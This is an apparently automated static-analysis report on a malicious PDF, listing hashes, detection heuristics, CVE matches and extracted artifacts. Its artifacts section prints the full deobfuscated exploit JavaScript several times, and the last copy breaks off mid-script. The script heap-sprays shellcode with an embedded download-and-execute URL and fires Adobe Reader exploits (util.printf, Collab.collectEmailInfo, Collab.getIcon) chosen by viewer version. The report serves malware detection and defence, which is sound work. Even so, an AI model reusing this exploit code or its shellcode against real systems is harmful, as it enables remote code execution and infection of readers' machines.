Malicious PDF — malware analysis report

Static analysis result for SHA-256 0d34499a16f3fff3…

MALICIOUS

PDF

2.5 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2013-06-30
MD5: 2f488f77135e11d5596043003f073ce1 SHA-1: 61b59a563ce77d3cca9e49b02f23fa236fdf9cef SHA-256: 0d34499a16f3fff322cbc1349c3b5536d646cde7f1ef57721f70ac6478555fbd
630 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains obfuscated JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to download and execute a second-stage payload from the URL http://laed.ru/exp/load.php?stat=Windows. The presence of multiple exploit CVEs and a clear download URL indicates a malicious exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    vary11o=newArray();functionm12k(g98g,l22f){while(g98g.length*2<l22f){g98g=g98g;}g98g=g98g.substring(0,l22f/2);returng98g;}functionu33d(f35l){varg11b=0x0c0c0c0c;varx77f=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C5 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://laed.ru/exp/load.php?stat=Windows Referenced by PDF JavaScript
    • http://laed.ru/exp/load.php?stat=WReferenced by PDF JavaScript
🗂 Part of campaign: laed.ru 5 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 4109 bytes
SHA-256: 480ecb9b2c887701e4943d9267b7030e10c6f508ffa502e7550e4a7763c2b4b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y11o = new Array();
function m12k(g98g, l22f){
 while (g98g.length * 2 < l22f){
g98g += g98g;
}
g98g = g98g.substring(0, l22f / 2);
return g98g;
}
function u33d(f35l){
var g11b = 0x0c0c0c0c;
var x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (f35l == 1){
g11b = 0x30303030;
x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (f35l == 2){
x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o12z = 0x400000;
var u92v = x77f.length * 2;
var l22f = o12z - (u92v + 0x38);
var g98g = unescape("%u9090%u9090");
g98g = m12k(g98g, l22f);
var u86z = (g11b - 0x400000) / o12z;
for (var k37c = 0; k37c < u86z; k37c ++ ){
y11o[k37c] = g98g + x77f;
}
}
function v65c(){
var c14h = app.viewerVersion.toString();
if (c14h > 8){
u33d(1);
var i95p = "12999999999999999999";
for (m16a = 0; m16a < 276; m16a ++ ){
i95p += "8";
}
util.printf("%45000f", i95p);
}
if (c14h < 8){
u33d(0);
var a41c = unescape("%u0c0c%u0c0c");
while (a41c.length < 44952)a41c += a41c;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a41c});
}
if (c14h < 9.1)
{
if (app.doc.Collab.getIcon){
u33d(2);
var b30x = unescape("%09");
while (b30x.length < 0x4000)b30x += b30x;
b30x = "N." + b30x;
app.doc.Collab.getIcon(b30x);
}
}
}
v65c();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: ce086e65842a094051d43df95bb8150fff9464a31e8bad973713b8c5a4adcd29
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: 804ee4154c51f3cc0331d862bbc3cb26ccd5ee0da3c949b7c85457db313bf0b2
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: 80d16f16b4ae380d207e27678cdb40cfc469577a1b55d2c28db0208deff024b6
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 4105 bytes
SHA-256: dc8974f4631c6bf115ac98b49d0309774afe432f56dd6805d8f9a7c0c8c6635f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y11o = new Array();
function m12k(g98g, l22f){
 while (g98g.length * 2 < l22f){
g98g += g98g;
}
g98g = g98g.substring(0, l22f / 2);
return g98g;
}
function u33d(f35l){
var g11b = 0x0c0c0c0c;
var x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (f35l == 1){
g11b = 0x30303030;
x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (f35l == 2){
x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o12z = 0x400000;
var u92v = x77f.length * 2;
var l22f = o12z - (u92v + 0x38);
var g98g = unescape("%u9090%u9090");
g98g = m12k(g98g, l22f);
var u86z = (g11b - 0x400000) / o12z;
for (var k37c = 0; k37c < u86z; k37c ++ ){
y11o[k37c] = g98g + x77f;
}
}
function v65c(){
var c14h = app.viewerVersion.toString();
if (c14h > 8){
u33d(1);
var i95p = "12999999999999999999";
for (m16a = 0; m16a < 276; m16a ++ ){
i95p += "8";
}
util.printf("E000f", i95p);
}
if (c14h < 8){
u33d(0);
var a41c = unescape("%u0c0c%u0c0c");
while (a41c.length < 44952)a41c += a41c;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a41c});
}
if (c14h < 9.1)
{
if (app.doc.Collab.getIcon){
u33d(2);
var b30x = unescape("	");
while (b30x.length < 0x4000)b30x += b30x;
b30x = "N." + b30x;
app.doc.Collab.getIcon(b30x);
}
}
}
v65c();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 4116 bytes
SHA-256: 8b786eeee3fda77c79f35d5c65f2265530e161d4d967064585d115c31a2e58c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var y11o = new Array();
function m12k(g98g, l22f){
 while (g98g.length * 2 < l22f){
g98g += g98g;
}
g98g = g98g.substring(0, l22f / 2);
return g98g;
}
function u33d(f35l){
var g11b = 0x0c0c0c0c;
var x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (f35l == 1){
g11b = 0x30303030;
x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (f35l == 2){
x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o12z = 0x400000;
var u92v = x77f.length * 2;
var l22f = o12z - (u92v + 0x38);
var g98g = unescape("%u9090%u9090");
g98g = m12k(g98g, l22f);
var u86z = (g11b - 0x400000) / o12z;
for (var k37c = 0; k37c < u86z; k37c ++ ){
y11o[k37c] = g98g + x77f;
}
}
function v65c(){
var c14h = app.viewerVersion.toString();
if (c14h > 8){
u33d(1);
var i95p = "12999999999999999999";
for (m16a = 0; m16a < 276; m16a ++ ){
i95p += "8";
}
util.printf("E000f", i95p);
}
if (c14h < 8){
u33d(0);
var a41c = unescape("%u0c0c%u0c0c");
while (a41c.length < 44952)a41c += a41c;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a41c});
}
if (c14h < 9.1)
{
if (app.doc.Collab.getIcon){
u33d(2);
var b30x = unescape("	");
while (b30x.length < 0x4000)b30x += b30x;
b30x = "N." + b30x;
app.doc.Collab.getIcon(b30x);
}
}
}
v65c();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 4120 bytes
SHA-256: 7c2fe92d7af13b6d57b38ef4b3e5e811da310841cde4855adb43b7a7f15f925e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var y11o = new Array();
function m12k(g98g, l22f){
 while (g98g.length * 2 < l22f){
g98g += g98g;
}
g98g = g98g.substring(0, l22f / 2);
return g98g;
}
function u33d(f35l){
var g11b = 0x0c0c0c0c;
var x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (f35l == 1){
g11b = 0x30303030;
x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (f35l == 2){
